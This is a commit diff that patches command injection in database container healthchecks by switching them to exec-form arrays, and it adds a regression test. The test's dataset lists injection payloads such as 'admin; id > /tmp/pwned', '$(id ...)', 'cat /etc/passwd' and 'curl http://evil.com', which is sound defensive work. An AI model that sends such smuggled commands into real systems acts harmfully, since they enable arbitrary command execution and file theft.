fix(database): mount guard, healthcheck CMD exec-form, port input layout (#9674)
This commit is contained in:
commit
b74f54302b
16 changed files with 150 additions and 34 deletions
|
|
@ -51,7 +51,7 @@ public function handle(StandaloneClickhouse $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => "clickhouse-client --user {$this->database->clickhouse_admin_user} --password {$this->database->clickhouse_admin_password} --query 'SELECT 1'",
|
||||
'test' => ['CMD', 'clickhouse-client', '--user', (string) $this->database->clickhouse_admin_user, '--password', (string) $this->database->clickhouse_admin_password, '--query', 'SELECT 1'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
|
|
@ -107,7 +107,7 @@ public function handle(StandaloneDragonfly $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => "redis-cli -a {$this->database->dragonfly_password} ping",
|
||||
'test' => ['CMD', 'redis-cli', '-a', (string) $this->database->dragonfly_password, 'ping'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
|
|
@ -109,7 +109,7 @@ public function handle(StandaloneKeydb $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => "keydb-cli --pass {$this->database->keydb_password} ping",
|
||||
'test' => ['CMD', 'keydb-cli', '--pass', (string) $this->database->keydb_password, 'ping'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
@ -166,7 +166,7 @@ public function handle(StandaloneKeydb $database)
|
|||
$docker_compose['volumes'] = $volume_names;
|
||||
}
|
||||
|
||||
if (! is_null($this->database->keydb_conf) || ! empty($this->database->keydb_conf)) {
|
||||
if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) {
|
||||
$docker_compose['services'][$container_name]['volumes'] = array_merge(
|
||||
$docker_compose['services'][$container_name]['volumes'] ?? [],
|
||||
[
|
||||
|
|
|
|||
|
|
@ -175,7 +175,7 @@ public function handle(StandaloneMariadb $database)
|
|||
);
|
||||
}
|
||||
|
||||
if (! is_null($this->database->mariadb_conf) || ! empty($this->database->mariadb_conf)) {
|
||||
if (! is_null($this->database->mariadb_conf) && ! empty($this->database->mariadb_conf)) {
|
||||
$docker_compose['services'][$container_name]['volumes'] = array_merge(
|
||||
$docker_compose['services'][$container_name]['volumes'],
|
||||
[
|
||||
|
|
|
|||
|
|
@ -175,7 +175,7 @@ public function handle(StandaloneMysql $database)
|
|||
);
|
||||
}
|
||||
|
||||
if (! is_null($this->database->mysql_conf) || ! empty($this->database->mysql_conf)) {
|
||||
if (! is_null($this->database->mysql_conf) && ! empty($this->database->mysql_conf)) {
|
||||
$docker_compose['services'][$container_name]['volumes'] = array_merge(
|
||||
$docker_compose['services'][$container_name]['volumes'] ?? [],
|
||||
[
|
||||
|
|
|
|||
|
|
@ -111,10 +111,7 @@ public function handle(StandalonePostgresql $database)
|
|||
],
|
||||
'labels' => defaultDatabaseLabels($this->database)->toArray(),
|
||||
'healthcheck' => [
|
||||
'test' => [
|
||||
'CMD-SHELL',
|
||||
"psql -U {$this->database->postgres_user} -d {$this->database->postgres_db} -c 'SELECT 1' || exit 1",
|
||||
],
|
||||
'test' => ['CMD', 'psql', '-U', (string) $this->database->postgres_user, '-d', (string) $this->database->postgres_db, '-c', 'SELECT 1'],
|
||||
'interval' => '5s',
|
||||
'timeout' => '5s',
|
||||
'retries' => 10,
|
||||
|
|
|
|||
|
|
@ -181,7 +181,7 @@ public function handle(StandaloneRedis $database)
|
|||
);
|
||||
}
|
||||
|
||||
if (! is_null($this->database->redis_conf) || ! empty($this->database->redis_conf)) {
|
||||
if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) {
|
||||
$docker_compose['services'][$container_name]['volumes'][] = [
|
||||
'type' => 'bind',
|
||||
'source' => $this->configuration_dir.'/redis.conf',
|
||||
|
|
|
|||
|
|
@ -54,7 +54,6 @@
|
|||
readonly value="Starting the database will generate this." canGate="update" :canResource="$database" />
|
||||
@endif
|
||||
</div>
|
||||
<div>
|
||||
<div class="flex flex-col py-2 w-64">
|
||||
<div class="flex items-center gap-2 pb-2">
|
||||
<div class="flex items-center">
|
||||
|
|
@ -76,11 +75,12 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
|
||||
:canResource="$database" />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
|
||||
canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<h3 class="pt-4">Advanced</h3>
|
||||
<div class="w-64">
|
||||
|
|
|
|||
|
|
@ -113,14 +113,15 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
|
||||
:canResource="$database" />
|
||||
</div>
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
|
||||
canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</form>
|
||||
<h3 class="pt-4">Advanced</h3>
|
||||
<div class="w-64">
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
|
||||
canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</form>
|
||||
<h3 class="pt-4">Advanced</h3>
|
||||
<div class="w-64">
|
||||
<x-forms.checkbox helper="Drain logs to your configured log drain endpoint in your Server settings."
|
||||
instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs" canGate="update"
|
||||
:canResource="$database" />
|
||||
|
|
|
|||
|
|
@ -113,14 +113,15 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
|
||||
:canResource="$database" />
|
||||
</div>
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
|
||||
canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
|
||||
canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
<x-forms.textarea
|
||||
helper="<a target='_blank' class='underline dark:text-white' href='https://raw.githubusercontent.com/Snapchat/KeyDB/unstable/keydb.conf'>KeyDB Default Configuration</a>"
|
||||
label="Custom KeyDB Configuration" rows="10" id="keydbConf" canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</form>
|
||||
<h3 class="pt-4">Advanced</h3>
|
||||
<div class="w-64">
|
||||
|
|
|
|||
|
|
@ -137,10 +137,12 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
|
||||
canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
|
||||
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</div>
|
||||
<x-forms.textarea label="Custom MariaDB Configuration" rows="10" id="mariadbConf"
|
||||
canGate="update" :canResource="$database" />
|
||||
|
|
|
|||
|
|
@ -151,10 +151,12 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
|
||||
canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
|
||||
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</div>
|
||||
<x-forms.textarea label="Custom MongoDB Configuration" rows="10" id="mongoConf"
|
||||
canGate="update" :canResource="$database" />
|
||||
|
|
|
|||
|
|
@ -153,10 +153,12 @@
|
|||
</div>
|
||||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
|
||||
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</div>
|
||||
<x-forms.textarea label="Custom Mysql Configuration" rows="10" id="mysqlConf" canGate="update" :canResource="$database" />
|
||||
<h3 class="pt-4">Advanced</h3>
|
||||
|
|
|
|||
|
|
@ -163,10 +163,12 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
|
||||
canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
|
||||
label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
|
||||
label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="flex flex-col gap-2">
|
||||
|
|
|
|||
|
|
@ -132,10 +132,12 @@
|
|||
<x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
|
||||
canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
|
||||
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
<div class="flex flex-col gap-2">
|
||||
<x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
|
||||
id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
|
||||
<x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
|
||||
label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
|
||||
</div>
|
||||
</div>
|
||||
<x-forms.textarea placeholder="# maxmemory 256mb
|
||||
# maxmemory-policy allkeys-lru
|
||||
|
|
|
|||
107
tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
Normal file
107
tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Regression tests for GHSA-gvc4-f276-r88p.
|
||||
*
|
||||
* Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
|
||||
* via user-controlled DB username/password/database fields. The fix converts all affected
|
||||
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
|
||||
*/
|
||||
dataset('malicious_db_inputs', [
|
||||
'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
|
||||
'command substitution $()' => ['admin$(id > /tmp/pwned)'],
|
||||
'backtick substitution' => ['admin`id > /tmp/pwned`'],
|
||||
'pipe operator' => ['admin | cat /etc/passwd'],
|
||||
'background operator' => ['admin & curl http://evil.com'],
|
||||
'output redirect' => ['admin > /tmp/evil.txt'],
|
||||
'newline injection' => ["admin\nid"],
|
||||
'null byte' => ["admin\0id"],
|
||||
]);
|
||||
|
||||
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
|
||||
|
||||
test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'psql'");
|
||||
});
|
||||
|
||||
test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
// Simulate what StartPostgresql now generates
|
||||
$healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck[0])->not->toBe('CMD-SHELL');
|
||||
// Malicious value is isolated as a single argv element — no shell interprets it
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── KeyDB ────────────────────────────────────────────────────────────────────
|
||||
|
||||
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'keydb-cli'");
|
||||
});
|
||||
|
||||
test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Dragonfly ────────────────────────────────────────────────────────────────
|
||||
|
||||
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'redis-cli'");
|
||||
});
|
||||
|
||||
test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── ClickHouse ───────────────────────────────────────────────────────────────
|
||||
|
||||
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
|
||||
|
||||
expect($source)->not->toContain('CMD-SHELL');
|
||||
expect($source)->toContain("'CMD', 'clickhouse-client'");
|
||||
});
|
||||
|
||||
test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
|
||||
$healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
|
||||
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
expect($healthcheck)->toContain($malicious);
|
||||
expect(is_array($healthcheck))->toBeTrue();
|
||||
})->with('malicious_db_inputs');
|
||||
|
||||
// ─── Verify unaffected databases still use their safe patterns ────────────────
|
||||
|
||||
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
|
||||
|
||||
// MySQL already used CMD array form — ensure it stays that way
|
||||
expect($source)->toContain("'CMD', 'mysqladmin'");
|
||||
});
|
||||
|
||||
test('mariadb healthcheck uses safe fixed script (no regression)', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
|
||||
|
||||
expect($source)->toContain('healthcheck.sh');
|
||||
// Must not have gained any user-field interpolation
|
||||
expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
|
||||
});
|
||||
Loading…
Reference in a new issue